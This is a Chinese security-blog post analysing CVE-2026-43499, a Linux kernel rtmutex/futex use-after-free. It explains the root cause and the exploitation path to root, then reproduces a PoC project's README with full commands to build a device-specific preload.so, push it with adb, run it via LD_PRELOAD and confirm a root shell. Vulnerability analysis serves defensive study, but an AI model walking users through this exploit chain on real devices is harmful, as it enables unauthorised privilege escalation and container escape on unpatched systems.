15年潜伏“幽灵锁”:Linux内核rtmutex一处清理失误,针对影响小米设备的 CVE-2026-43499 漏洞进行漏洞分析和概念验证 (PoC)
Ots安全
2026年7月20日 19:29
广东
在小说阅读器读本章
去阅读
威胁简报
恶意软件
漏洞攻击
- 漏洞本质
这是一个栈-based Use-After-Free (UAF) 漏洞,位于Linux内核的实时互斥锁(rtmutex)子系统,具体在futex优先级继承(Priority Inheritance, PI)路径的proxy-lock回滚逻辑中。漏洞编号CVE-2026-43499,CVSS评分7.8(High)。
这是一个基于栈的 Use-After-Free (UAF) 漏洞,位于 Linux 内核的实时互斥锁(rtmutex)子系统,具体在 futex 优先级继承(Priority Inheritance, PI)路径的代理锁回滚逻辑中。漏洞编号 CVE-2026-43499,CVSS 评分 7.8(高)。
- 根源代码位置与触发机制
核心问题出在kernel/locking/rtmutex.c的remove\_waiter()函数。
在正常慢路径加锁时,remove\_waiter()使用当前任务(current)进行清理,这是正确的。但在\\futex\_requeue()\\触发的proxy-lock回滚场景中,等待者(waiter)的waiter::task 并非当前任务,代码却依然错误地对current进行操作,导致以下连锁问题:
- 红黑树(rbtree)出队时未持有正确的waiter::task::pi\_lock;
- 未能正确清除waiter->task的pi\_blocked\_on指针,留下指向已释放内核栈帧的悬空指针;
- 后续rt\_mutex\_adjust\_prio\_chain()等函数操作了错误的任务,制造出可控的UAF条件。
攻击者通过精心构造三个futex和线程优先级反转死锁场景,触发race condition,之后利用PR\_SET\_MM\_MAP等系统调用在已释放的栈位置放置伪造的rt\_mutex\_waiter结构,从而获得内核指针写入原语,最终实现控制流劫持(例如覆盖inet6\_protos[IPPROTO\_UDP]函数表)并完成Root提权。
- 影响范围与严重性引入时间:2011年Linux 2.6.39(距今15年)。
影响版本:几乎所有未打补丁的主流内核(2.6.39 ~ 7.0.x,CONFIG\_FUTEX\_PI开启时)。
攻击条件:无需特殊权限,本地普通用户即可触发;容器内也能直接逃逸到宿主机。
实际危害:稳定率可达97%,几秒内完成提权,已有公开PoC(包括针对小米Android arm64设备的LD\_PRELOAD实现)。
项目地址:
https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis
这是一个用于CVE-2026-43499的Android arm64本地提权装备项目。
项目会根据目标设备的boot.img和配置文件信息生成target.h,然后编译出对应的preload.so。
说明:本项目是通用设备框架,不绑定单一机型。实际是否可用,以generate\_target.py能否成功生成target.h以及真机测试结果相似。
项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile.json # 目标设备 profile
├── detect_offset.py # 检测 profile 用
├── generate_target.py # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
└── preload.so # 编译产物
依赖
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
Windows下推荐使用:
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
MSYS2里安装make:
pacman -S make coreutils
准备文件
你需要准备:
boot.img
profile.json
profile 示例:
{
\"p0_phys_offset\": \"0x80000000\",
\"p0_kernel_phys_load\": \"0xc7800000\"
}
profile 里的这两个地址:
p0_phys_offset
p0_kernel_phys_load
可以在已经 Root、且与目标 boot.img 同固件的手机上运行脚本得到:
python3 detect_offset.py
Windows 也可以:
python detect_offset.py
使用步骤
- 进入项目目录
Linux / macOS:
cd PATH/project
Windows MSYS2 示例:
cd PATH/CVE-2026-43499-Poc-Analysis-main
- 设置 NDK 路径
Linux / macOS 示例:
export ANDROID_NDK_HOME=PATH/android-ndk
Windows MSYS2 示例:
export ANDROID_NDK_HOME=PATH/android-ndk-r29
- 生成 target.h
python generate_target.py \\
--boot boot.img \\
--profileprofile.json \\
-osource/src/target.h
或者 CMD 使用 :
python generate_target.py --boot boot.img --profileprofile.json -osource/src/target.h
如果提示找不到 llvm-objdump,手动指定路径:
python generate_target.py \\
--boot boot.img \\
--profileprofile.json \\
-osource/src/target.h \\
--llvm-objdump \"PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe\"
或者 CMD 使用:
python generate_target.py --boot boot.img --profileprofile.json -osource/src/target.h --llvm-objdump \"PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe\"
成功后会看到类似:
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
- 编译 preload.so
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
成功后会生成:
source/build/bin/preload.so
- 推送到设备并运行
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell\"chmod 0644 /data/local/tmp/preload.so\"
adb shell\"LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true\"
验证:
adb shell\"/data/local/tmp/su -c 'id'\"
成功时一般会看到:
uid=0(root) gid=0(root)
Windows MSYS2 一键流程
按你的路径示例:
cd PATH/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=PATH/android-ndk-r29
python generate_target.py --boot boot.img --profileprofile.json -osource/src/target.h
make -C source clean preload NDK_PREBUILT=windows-x86_64
最终文件:
source/build/bin/preload.so
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









![[EDU]从0到1的的接管"](/images/random/titlepic/8.jpg)
评论